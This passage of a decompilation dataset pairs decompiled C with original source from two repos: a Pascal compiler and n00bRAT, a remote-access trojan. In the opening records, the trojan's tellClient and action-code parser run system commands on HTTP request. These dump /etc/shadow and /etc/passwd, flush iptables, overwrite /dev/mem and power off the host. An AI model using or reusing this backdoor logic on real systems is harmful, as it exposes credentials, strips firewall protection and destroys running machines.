"ssize_t func8()\n{\nsize_t v0; // rbx\nsize_t v1; // rbx\nsize_t v2; // rbx\nsize_t v3; // rax\nsize_t v4; // rax\nsize_t v5; // rbx\nsize_t v6; // rax\nchar dest[65536]; // [rsp+0h] [rbp-20020h] BYREF\nchar buf[16]; // [rsp+10000h] [rbp-10020h] BYREF\nchar s[65532]; // [rsp+10010h] [rbp-10010h] BYREF\nint i; // [rsp+2000Ch] [rbp-14h]\n\nstrcpy(buf, \"HTTP 200 OK\");\nmemset(s, 0, 0xFFEFuLL);\nfor ( i = 0; ; ++i )\n{\nv0 = i;\nif ( v0 >= strlen(buf) )\nbreak;\nbuf[i] = 0;\n}\nfor ( i = 0; ; ++i )\n{\nv1 = i;\nif ( v1 >= strlen(dest) )\nbreak;\ndest[i] = 0;\n}\nfor ( i = 0; ; ++i )\n{\nv2 = i;\nif ( v2 >= strlen(httpResponse) )\nbreak;\nhttpResponse[i] = 0;\n}\nswitch ( axnCode )\n{\ncase -1:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"echo \\\"<br/><br/><i>n00bROOT</i>\\\"\");\nbreak;\ncase 0:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /dev/urandom > /dev/mem\");\nbreak;\ncase 1:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/passwd 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\");\nbreak;\ncase 2:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/shadow 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\");\nbreak;\ncase 3:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/resolv.conf 2>&1\");\nbreak;\ncase 4:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ps aux\");\nbreak;\ncase 5:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"iptables --flush 2>&1 && echo 'IPTables Entries Deleted'\");\nbreak;\ncase 6:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1\");\nbreak;\ncase 7:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1\");\nbreak;\ncase 8:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"poweroff 2>&1\");\nbreak;\ncase 9:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"reboot 2>&1\");\nbreak;\ndefault:\nstrcpy(httpResponse, httpResponse400);\nsystem(\"echo \\\"HTTP 404\\\"\");\nbreak;\n}\nread(pfds[0], buf, 0xFFFFuLL);\nv3 = strlen(httpResponse);\nstrncat(dest, httpResponse, v3);\nv4 = strlen(buf);\nstrncat(dest, buf, v4);\nv5 = strlen(httpResponse);\nv6 = strlen(buf);\nreturn send(fd2, dest, v5 + v6, 0);\n}", "original_code": "void tellClient(){\n char buf[65535] = \"HTTP 200 OK\\0\";\n char tmpBuf[65535];\n int idx;\n for(idx=0; idx<strlen(buf); idx++)\n buf[idx]='\\0';\n for(idx=0; idx<strlen(tmpBuf); idx++)\n tmpBuf[idx]='\\0';\n for(idx=0; idx<strlen(httpResponse); idx++)\n httpResponse[idx]='\\0';\n switch(axnCode){\n case -1: strcpy(httpResponse,httpResponse200);\n system(\"echo \\\"<br/><br/><i>n00bROOT</i>\\\"\"); break;\n case 0: strcpy(httpResponse,httpResponse200);\n system(\"cat /dev/urandom > /dev/mem\"); break;\n case 1: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/passwd 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\"); break;\n case 2: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/shadow 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\"); break;\n case 3: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/resolv.conf 2>&1\"); break;\n case 4: strcpy(httpResponse,httpResponse200);\n system(\"ps aux\"); break;\n case 5: strcpy(httpResponse,httpResponse200);\n system(\"iptables --flush 2>&1 && echo \\'IPTables Entries Deleted\\'\"); break;\n case 6: strcpy(httpResponse,httpResponse200);\n system(\"ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1\"); break;\n case 7: strcpy(httpResponse,httpResponse200);\n system(\"ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1\"); break;\n case 8: strcpy(httpResponse,httpResponse200);\n system(\"poweroff 2>&1\"); break;\n case 9: strcpy(httpResponse,httpResponse200);\n system(\"reboot 2>&1\"); break;\n default: strcpy(httpResponse,httpResponse400);\n system(\"echo \\\"HTTP 404\\\"\"); break;\n }\n read(pfds[0], buf, 65535);\n strncat(tmpBuf,httpResponse,strlen(httpResponse));\n strncat(tmpBuf,buf,strlen(buf));\n send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);\n return;\n}", "canonical_original_code": "void tellClient(){\n char buf[65535] = \"HTTP 200 OK\\0\";\n char tmpBuf[65535];\n int idx;\n for(idx=0; idx<strlen(buf); idx++)\n buf[idx]='\\0';\n for(idx=0; idx<strlen(tmpBuf); idx++)\n tmpBuf[idx]='\\0';\n for(idx=0; idx<strlen(httpResponse); idx++)\n httpResponse[idx]='\\0';\n switch(axnCode){\n case -1: strcpy(httpResponse,httpResponse200);\n system(\"echo \\\"<br/><br/><i>n00bROOT</i>\\\"\"); break;\n case 0: strcpy(httpResponse,httpResponse200);\n system(\"cat /dev/urandom > /dev/mem\"); break;\n case 1: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/passwd 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\"); break;\n case 2: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/shadow 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\"); break;\n case 3: strcpy(httpResponse,httpResponse200);\n system(\"cat /etc/resolv.conf 2>&1\"); break;\n case 4: strcpy(httpResponse,httpResponse200);\n system(\"ps aux\"); break;\n case 5: strcpy(httpResponse,httpResponse200);\n system(\"iptables --flush 2>&1 && echo \\'IPTables Entries Deleted\\'\"); break;\n case 6: strcpy(httpResponse,httpResponse200);\n system(\"ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1\"); break;\n case 7: strcpy(httpResponse,httpResponse200);\n system(\"ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1\"); break;\n case 8: strcpy(httpResponse,httpResponse200);\n system(\"poweroff 2>&1\"); break;\n case 9: strcpy(httpResponse,httpResponse200);\n system(\"reboot 2>&1\"); break;\n default: strcpy(httpResponse,httpResponse400);\n system(\"echo \\\"HTTP 404\\\"\"); break;\n }\n read(pfds[0], buf, 65535);\n strncat(tmpBuf,httpResponse,strlen(httpResponse));\n strncat(tmpBuf,buf,strlen(buf));\n send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);\n return;\n}", "variable_types": [ [ "buf", "char [65535]" ], [ "tmpBuf", "char [65535]" ], [ "idx", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6" }, { "name": "getAXN", "canonical_name": "func9", "repo": "abhishekkr/n00bRAT", "decompiled_code": "__int64 getAXN()\n{\nchar *v1; // [rsp+8h] [rbp-8h]\n\nif ( !strtok(Request, \" \") )\nreturn 4294967286LL;\nv1 = strtok(0LL, \" \");\nif ( !v1 )\nreturn 4294967286LL;\nprintf(\"\\naxn: %s\\n\", v1);\nreturn getAXNCode(v1);\n}\n", "canonical_decompiled_code": "__int64 func9()\n{\nchar *v1; // [rsp+8h] [rbp-8h]\n\nif ( !strtok(Request, \" \") )\nreturn 4294967286LL;\nv1 = strtok(0LL, \" \");\nif ( !v1 )\nreturn 4294967286LL;\nprintf(\"\\naxn: %s\\n\", v1);\nreturn func10(v1);\n}", "original_code": "int getAXN(){\n char *axnTok;\n if((axnTok=strtok(Request,\" \")) != ((void *)0)){\n if((axnTok=strtok(((void *)0),\" \")) != ((void *)0)){\n printf(\"\\naxn: %s\\n\",axnTok);\n return getAXNCode(axnTok);\n }\n }\n return -10;\n}", "canonical_original_code": "int getAXN(){\n char *axnTok;\n if((axnTok=strtok(Request,\" \")) != ((void *)0)){\n if((axnTok=strtok(((void *)0),\" \")) != ((void *)0)){\n printf(\"\\naxn: %s\\n\",axnTok);\n return getAXNCode(axnTok);\n }\n }\n return -10;\n}", "variable_types": [ [ "axnTok", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6" }, { "name": "getAXNCode", "canonical_name": "func10", "repo": "abhishekkr/n00bRAT", "decompiled_code": "__int64 __fastcall getAXNCode(const char *a1)\n{\nconst char *v2; // rax\nchar *v3; // [rsp+28h] [rbp-8h]\n\nif ( !strcmp(\"/n00b\", a1) )\nreturn 0xFFFFFFFFLL;\nv3 = strrchr(a1, 47);\nif ( v3 )\nv2 = v3 + 1;\nelse\nv2 = a1;\nreturn (unsigned int)(*v2 - 48);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(const char *a1)\n{\nconst char *v2; // rax\nchar *v3; // [rsp+28h] [rbp-8h]\n\nif ( !strcmp(\"/n00b\", a1) )\nreturn 0xFFFFFFFFLL;\nv3 = strrchr(a1, 47);\nif ( v3 )\nv2 = v3 + 1;\nelse\nv2 = a1;\nreturn (unsigned int)(*v2 - 48);\n}", "original_code": "int getAXNCode(char* axnTok){\n if(strcmp(\"/n00b\",axnTok)==0)\n return -1;\n char *axnCodeCharSlash = strrchr(axnTok, '/');\n char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;\n int axnCodeInt = *axnCodeChar - '0';\n return axnCodeInt;\n}", "canonical_original_code": "int getAXNCode(char *axnTok){\n if(strcmp(\"/n00b\",axnTok)==0)\n return -1;\n char *axnCodeCharSlash = strrchr(axnTok, '/');\n char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;\n int axnCodeInt = *axnCodeChar - '0';\n return axnCodeInt;\n}", "variable_types": [ [ "axnTok", "char *" ], [ "axnCodeCharSlash", "char *" ], [ "axnCodeChar", "char *" ], [ "axnCodeInt", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6" } ]
627847e1c30405a50b70fbcde8895ab7f6359843c1b58a81a90da36499f2cbd3
mikestaub/Pascal-Compiler
[ [ "mkname", "->", "insert", "mktmp" ], [ "hash", "->", "insert" ], [ "insert", "->", "mkname", "hash" ], [ "init_constant_table", "->", "mktable" ], [ "get_dim", "->" ], [ "get_param", "->" ], [ "mktable", "->", "init_constant_table" ], [ "mkconst", "->" ], [ "mktmp", "->", "mkname" ], [ "calculate_c", "->" ] ]
[ [ "mkname", "__int64 __fastcall func0(__int64 a1, const char *a2, int a3)\n{\n__int64 result; // rax\n__int64 v5; // [rsp+28h] [rbp-38h]\nchar *dest; // [rsp+30h] [rbp-30h]\nchar *desta; // [rsp+30h] [rbp-30h]\nchar *destb; // [rsp+30h] [rbp-30h]\nint v9; // [rsp+3Ch] [rbp-24h]\nint v10; // [rsp+3Ch] [rbp-24h]\nint v11; // [rsp+3Ch] [rbp-24h]\n__int64 v12; // [rsp+40h] [rbp-20h]\nint v13; // [rsp+4Ch] [rbp-14h]\n__int64 v14; // [rsp+50h] [rbp-10h]\n__int64 v15; // [rsp+58h] [rbp-8h]\n\nv14 = a1;\nv13 = 0;\nif ( a3 == 19 )\n{\nv5 = (int)safe_malloc(128LL);\nv9 = strlen(a2);\ndest = (char *)(int)safe_malloc(v9 + 1LL);\nstrcpy(dest, a2);\n*(_QWORD *)(v5 + 112) = dest;\n*(_DWORD *)(v5 + 48) = 1;\n*(_DWORD *)(v5 + 52) = 19;\n*(_DWORD *)(v5 + 64) = 4;\nfunc2(a1, v5);\nresult = v5;\nyylval = v5;\n}\nelse\n{\nv15 = lookup(a1, a2);\nif ( v15 )\n{\nresult = v15;\nyylval = v15;\n}\nelse\n{\nwhile ( *(_QWORD *)(v14 + 8) && !v15 )\n{\nv14 = *(_QWORD *)(v14 + 8);\n++v13;\nv15 = lookup(v14, a2);\n}\nv12 = (int)safe_malloc(128LL);\nif ( v13 > 0 && executable_statement_mode == 1 )\n{\nv10 = strlen(a2);\ndesta = (char *)(int)safe_malloc(v10 + 1LL);\nstrcpy(desta, a2);\n*(_QWORD *)(v12 + 112) = desta;\n*(_DWORD *)(v12 + 48) = 12;\n*(_DWORD *)(v12 + 52) = *(_DWORD *)(v15 + 52);\n*(_DWORD *)(v12 + 56) = *(_DWORD *)(v15 + 56);\n*(_DWORD *)(v12 + 80) = v13;\n*(_QWORD *)(v12 + 8) = v15;\n*(_DWORD *)(v12 + 84) = line_count;\n*(_QWORD *)(v12 + 40) = *(_QWORD *)(v15 + 40);\n*(_DWORD *)(v12 + 64) = *(_DWORD *)(v15 + 64);\n*(_QWORD *)(v12 + 24) = *(_QWORD *)(v15 + 24);\n*(_DWORD *)(v12 + 68) = *(_DWORD *)(v15 + 68);\n*(_DWORD *)(v12 + 60) = *(_DWORD *)(v15 + 60);\n*(_DWORD *)(v12 + 88) = *(_DWORD *)(v15 + 88);\n}\nelse\n{\nv11 = strlen(a2);\ndestb = (char *)(int)safe_malloc(v11 + 1LL);\nstrcpy(destb, a2);\n*(_QWORD *)(v12 + 112) = destb;\n*(_DWORD *)(v12 + 48) = 17;\n*(_DWORD *)(v12 + 52) = a3;\nif ( a3 == 4 )\n*(_DWORD *)(v12 + 76) = atoi(*(const char **)(v12 + 112));\nif ( a3 == 6 )\n*(double *)(v12 + 96) = atof(*(const char **)(v12 + 112));\n}\nfunc2(a1, v12);\nresult = v12;\nyylval = v12;\n}\n}\nreturn result;\n}" ], [ "insert", "__int64 __fastcall func2(__int64 a1, _QWORD *a2)\n{\n__int64 result; // rax\nint v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = func1(a2[14]);\n*a2 = *(_QWORD *)(a1 + 8 * (v3 + 4LL));\nresult = a1;\n*(_QWORD *)(a1 + 8 * (v3 + 4LL)) = a2;\nreturn result;\n}" ], [ "get_param", "__int64 func5()\n{\nreturn (int)safe_malloc(24LL);\n}" ], [ "mktable", "__int64 __fastcall func6(__int64 a1)\n{\n__int64 v2; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nv2 = (int)safe_malloc(8008LL);\n*(_QWORD *)((char *)&loc_8 + v2) = a1;\nfor ( i = 0; i <= 996; ++i )\n*(_QWORD *)(v2 + 8 * (i + 4LL)) = 0LL;\nreturn v2;\n}" ], [ "mkconst", "__int64 __fastcall func7(int a1)\n{\n__int64 result; // rax\n\nLODWORD(result) = safe_malloc(128LL);\n*(_DWORD *)((char *)&loc_34 + (int)result) = 4;\n*(_DWORD *)((char *)&loc_49 + (int)result + 3) = a1;\nreturn (int)result;\n}" ], [ "mktmp", "__int64 func8()\n{\nunsigned int v0; // eax\nchar s[12]; // [rsp+4h] [rbp-1Ch] BYREF\n__int64 v3; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = yylval;\nv0 = next_tmp++;\nsprintf(s, \"T%d\", v0);\nfunc0(table_ptr, s, 19);\nv3 = yylval;\nyylval = v4;\nreturn v3;\n}" ] ]
[ { "name": "hash", "canonical_name": "func1", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall hash(__int64 a1)\n{\nint i; // [rsp+10h] [rbp-8h]\nint v3; // [rsp+14h] [rbp-4h]\n\nv3 = 0;\nfor ( i = 0; *(_BYTE *)(i + a1); ++i )\nv3 = (v3 >> 28) ^ *(_BYTE *)(i + a1) & 0xF | (16 * v3);\nreturn (v3 & 0x7FFFFFFFu) - 997 * ((int)((unsigned __int64)(2205640177LL * (v3 & 0x7FFFFFFF)) >> 32) >> 9);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nint i; // [rsp+10h] [rbp-8h]\nint v3; // [rsp+14h] [rbp-4h]\n\nv3 = 0;\nfor ( i = 0; *(_BYTE *)(i + a1); ++i )\nv3 = (v3 >> 28) ^ *(_BYTE *)(i + a1) & 0xF | (16 * v3);\nreturn (v3 & 0x7FFFFFFFu) - 997 * ((int)((unsigned __int64)(2205640177LL * (v3 & 0x7FFFFFFF)) >> 32) >> 9);\n}", "original_code": "int hash(char *s){\n int hval = 0;\n int i;\n for(i = 0; s[i] != '\\0'; i++){\n int v = (hval >> 28) ^ (s[i] & 0xf);\n hval = (hval << 4) | v;\n }\n hval = hval & 0x7fffffff;\n return hval % 997;\n}", "canonical_original_code": "int hash(char *s){\n int hval = 0;\n int i;\n for(i = 0; s[i] != '\\0'; i++){\n int v = (hval >> 28) ^ (s[i] & 0xf);\n hval = (hval << 4) | v;\n }\n hval = hval & 0x7fffffff;\n return hval % 997;\n}", "variable_types": [ [ "s", "char *" ], [ "hval", "int" ], [ "i", "int" ], [ "v", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "627847e1c30405a50b70fbcde8895ab7f6359843c1b58a81a90da36499f2cbd3" }, { "name": "init_constant_table", "canonical_name": "func3", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 init_constant_table()\n{\n__int64 result; // rax\n\nresult = mktable(0LL);\nconstant_symbol_table = result;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\n__int64 result; // rax\n\nresult = func6(0LL);\nconstant_symbol_table = result;\nreturn result;\n}", "original_code": "void init_constant_table(void){\n constant_symbol_table = mktable(((void *)0));\n}", "canonical_original_code": "void init_constant_table(){\n constant_symbol_table = mktable(((void *)0));\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "627847e1c30405a50b70fbcde8895ab7f6359843c1b58a81a90da36499f2cbd3" }, { "name": "get_dim", "canonical_name": "func4", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 get_dim()\n{\nmalloc(0x28uLL);\nreturn dim_p;\n}\n", "canonical_decompiled_code": "__int64 func4()\n{\nmalloc(0x28uLL);\nreturn dim_p;\n}", "original_code": "DIM_TYPE *get_dim(void){\n DIM_TYPE *dimp_p = (DIM_TYPE*)malloc(sizeof(DIM_TYPE));\n return dim_p;\n}", "canonical_original_code": "struct dim_type *get_dim(){\n struct dim_type *dimp_p = (DIM_TYPE*)malloc(sizeof(DIM_TYPE));\n return dim_p;\n}", "variable_types": [ [ "dimp_p", "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; } *" ] ], "return_type": "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; } *", "user_defined_types": [ "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; }" ], "binary_hash": "627847e1c30405a50b70fbcde8895ab7f6359843c1b58a81a90da36499f2cbd3" }, { "name": "calculate_c", "canonical_name": "func9", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall calculate_c(__int64 *a1, int a2)\n{\nint v4; // [rsp+34h] [rbp-8h]\nint v5; // [rsp+38h] [rbp-4h]\n\nv4 = 1;\nwhile ( *a1 )\na1 = (__int64 *)*a1;\nif ( !a1[1] )\nreturn (unsigned int)(a2 * *((_DWORD *)a1 + 5));\nwhile ( a1[1] )\n{\nif ( *(_QWORD *)(a1[1] + 8) )\nv5 = *(_DWORD *)(*(_QWORD *)(a1[1] + 8) + 32LL) + *(_DWORD *)(*(_QWORD *)(a1[1] + 8) + 20LL);\nelse\nv5 = 1;\nv4 *= v5 * (*(_DWORD *)(a1[1] + 32) * *((_DWORD *)a1 + 5) + *(_DWORD *)(a1[1] + 20));\na1 = (__int64 *)a1[1];\n}\nreturn (unsigned int)(a2 * v4);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 *a1, int a2)\n{\nint v4; // [rsp+34h] [rbp-8h]\nint v5; // [rsp+38h] [rbp-4h]\n\nv4 = 1;\nwhile ( *a1 )\na1 = (__int64 *)*a1;\nif ( !a1[1] )\nreturn (unsigned int)(a2 * *((_DWORD *)a1 + 5));\nwhile ( a1[1] )\n{\nif ( *(_QWORD *)(a1[1] + 8) )\nv5 = *(_DWORD *)(*(_QWORD *)(a1[1] + 8) + 32LL) + *(_DWORD *)(*(_QWORD *)(a1[1] + 8) + 20LL);\nelse\nv5 = 1;\nv4 *= v5 * (*(_DWORD *)(a1[1] + 32) * *((_DWORD *)a1 + 5) + *(_DWORD *)(a1[1] + 20));\na1 = (__int64 *)a1[1];\n}\nreturn (unsigned int)(a2 * v4);\n}", "original_code": "int calculate_c(DIM_TYPE *dim_list, int w){\n int c;\n int base = 1000;\n int rest;\n int part1, part2;\n int term, final_term = 1;\n DIM_TYPE *temp = dim_list;\n while(temp->next != ((void *)0))\n temp = temp->next;\n if(temp->prev == ((void *)0)){\n rest = temp->low * w;\n c = rest;\n return c;\n }\n while(temp->prev != ((void *)0)){\n part1 = temp->low * temp->prev->node_elements + temp->prev->low;\n if(temp->prev->prev != ((void *)0))\n part2 = temp->prev->prev->node_elements + temp->prev->prev->low;\n else\n part2 = 1;\n term = part1 * part2;\n final_term = final_term * term;\n temp = temp->prev;\n }\n rest = final_term * w;\n c = rest;\n return c;\n}", "canonical_original_code": "int calculate_c(struct dim_type *dim_list, int w){\n int c;\n int base = 1000;\n int rest;\n int part1; int part2;\n int term; int final_term = 1;\n struct dim_type *temp = dim_list;\n while(temp->next != ((void *)0))\n temp = temp->next;\n if(temp->prev == ((void *)0)){\n rest = temp->low * w;\n c = rest;\n return c;\n }\n while(temp->prev != ((void *)0)){\n part1 = temp->low * temp->prev->node_elements + temp->prev->low;\n if(temp->prev->prev != ((void *)0))\n part2 = temp->prev->prev->node_elements + temp->prev->prev->low;\n else\n part2 = 1;\n term = part1 * part2;\n final_term = final_term * term;\n temp = temp->prev;\n }\n rest = final_term * w;\n c = rest;\n return c;\n}", "variable_types": [ [ "dim_list", "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; } *" ], [ "w", "int" ], [ "c", "int" ], [ "base", "int" ], [ "rest", "int" ], [ "part1", "int" ], [ "part2", "int" ], [ "term", "int" ], [ "final_term", "int" ], [ "temp", "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; } *" ] ], "return_type": "int", "user_defined_types": [ "struct dim_type { struct dim_type *next; struct dim_type *prev; int high; int low; int dimension; int n; int node_elements; }" ], "binary_hash": "627847e1c30405a50b70fbcde8895ab7f6359843c1b58a81a90da36499f2cbd3" } ]
7c5891fa20bb46d132019da43376a284b280100f5423ed2649042562c381226d
mikestaub/Pascal-Compiler
[ [ "yyerror", "->" ], [ "main", "->" ] ]
[]
[ { "name": "main", "canonical_name": "main", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nyydebug = 0;\nyyin = fopen(argv[1], \"r\");\nstrlen(argv[1]);\ninput_file_name = (char *)(int)safe_malloc(1LL);\nstrcpy(input_file_name, argv[1]);\nif ( (unsigned int)yyparse() )\nputs(\"The file fails to parse.\");\nelse\ncg(program_tac);\nfclose(yyin);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nyydebug = 0;\nyyin = fopen(argv[1], \"r\");\nstrlen(argv[1]);\ninput_file_name = (char *)(int)safe_malloc(1LL);\nstrcpy(input_file_name, argv[1]);\nif ( (unsigned int)yyparse() )\nputs(\"The file fails to parse.\");\nelse\ncg(program_tac);\nfclose(yyin);\nreturn 0;\n}", "original_code": "int main(int argc, char* argv[]){\n yydebug = 0;\n yyin = fopen(argv[1], \"r\");\n int len = strlen(argv[1]);\n input_file_name = (char*)safe_malloc(sizeof(char));\n strcpy(input_file_name, argv[1]);\n if(!yyparse()){\n cg(program_tac);\n }\n else\n printf(\"The file fails to parse.\\n\");\n fclose(yyin);\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[]){\n yydebug = 0;\n yyin = fopen(argv[1], \"r\");\n int len = strlen(argv[1]);\n input_file_name = (char *)safe_malloc(sizeof(char));\n strcpy(input_file_name, argv[1]);\n if(!yyparse()){\n cg(program_tac);\n }\n else\n printf(\"The file fails to parse.\\n\");\n fclose(yyin);\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "len", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7c5891fa20bb46d132019da43376a284b280100f5423ed2649042562c381226d" }, { "name": "yyerror", "canonical_name": "func0", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "int __fastcall yyerror(const char *a1)\n{\nreturn printf(\"Error parsing, %s\\n\", a1);\n}\n", "canonical_decompiled_code": "int __fastcall func0(const char *a1)\n{\nreturn printf(\"Error parsing, %s\\n\", a1);\n}", "original_code": "void yyerror(char* text){\n printf(\"Error parsing, %s\\n\", text);\n}", "canonical_original_code": "void yyerror(char *text){\n printf(\"Error parsing, %s\\n\", text);\n}", "variable_types": [ [ "text", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "7c5891fa20bb46d132019da43376a284b280100f5423ed2649042562c381226d" } ]
972056dcfa6edd01edc446e788c89949e1c88a1efdd8fa8fe7c1526f34baaa4e
mikestaub/Pascal-Compiler
[ [ "cg_instruction", "->", "cg_binop", "cg_unop", "cg_copy", "cg_cond", "cg_arg", "cg_call", "cg_return", "flush_all", "cg_relop", "cg_offset", "cg_print" ], [ "cg_binop", "->", "cg_instruction", "get_rreg", "get_areg", "find_reg", "insert_desc", "load_reg" ], [ "cg_unop", "->", "cg_instruction", "get_rreg", "find_reg", "insert_desc" ], [ "cg_relop", "->", "cg_instruction", "get_rreg", "get_areg", "find_reg", "insert_desc" ], [ "cg_offset", "->", "cg_instruction" ], [ "cg_copy", "->", "cg_instruction", "get_rreg", "insert_desc" ], [ "cg_cond", "->", "cg_instruction", "spill_all", "get_rreg", "find_reg" ], [ "cg_print", "->", "cg_instruction", "get_areg", "flush_all" ], [ "cg_arg", "->", "cg_instruction" ], [ "cg_call", "->", "cg_instruction" ], [ "cg_return", "->", "cg_instruction" ], [ "insert_desc", "->", "cg_binop", "cg_unop", "cg_relop", "cg_copy", "load_reg" ], [ "load_reg", "->", "cg_binop", "find_reg", "insert_desc", "get_rreg", "get_areg" ], [ "get_rreg", "->", "cg_binop", "cg_unop", "cg_relop", "cg_copy", "cg_cond", "load_reg" ], [ "get_areg", "->", "cg_binop", "cg_relop", "cg_print", "load_reg" ], [ "flush_all", "->", "cg_instruction", "cg_print", "spill_all" ], [ "spill_all", "->", "cg_cond", "flush_all" ], [ "find_reg", "->", "cg_binop", "cg_unop", "cg_relop", "cg_cond", "load_reg" ] ]
[ [ "cg_instruction", "void __fastcall func0(__int64 a1, int a2, const char *a3)\n{\nswitch ( *(_DWORD *)(a1 + 16) )\n{\ncase 0:\nerror((int)\"cannot translate TAC_UNDEF\", a2, a3);\nbreak;\ncase 1:\nfunc1(1LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 2:\nfunc1(2LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 3:\nfunc1(3LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 4:\nfunc1(4LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 5:\nfunc2(5LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 40));\nbreak;\ncase 6:\nfunc5(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32));\nbreak;\ncase 7:\nfunc6(\"GOTO\", 0LL, *(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL));\nbreak;\ncase 8:\nfunc6(\"IFZ\", *(_QWORD *)(a1 + 32), *(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL));\nbreak;\ncase 9:\nfunc6(\"IFNZ\", *(_QWORD *)(a1 + 32), *(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL));\nbreak;\ncase 0xA:\nfunc8(*(_QWORD *)(a1 + 24));\nbreak;\ncase 0xB:\nfunc9(*(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 32) + 24LL) + 76LL), *(_QWORD *)(a1 + 24));\nbreak;\ncase 0xC:\nfunc10(*(_QWORD *)(a1 + 24));\nbreak;\ncase 0xD:\nfunc1(13LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0xE:\nfunc1(14LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0xF:\nfunc1(15LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x10:\nfunc1(16LL, *(_QWORD *)(a1 + 24), *(_QWORD 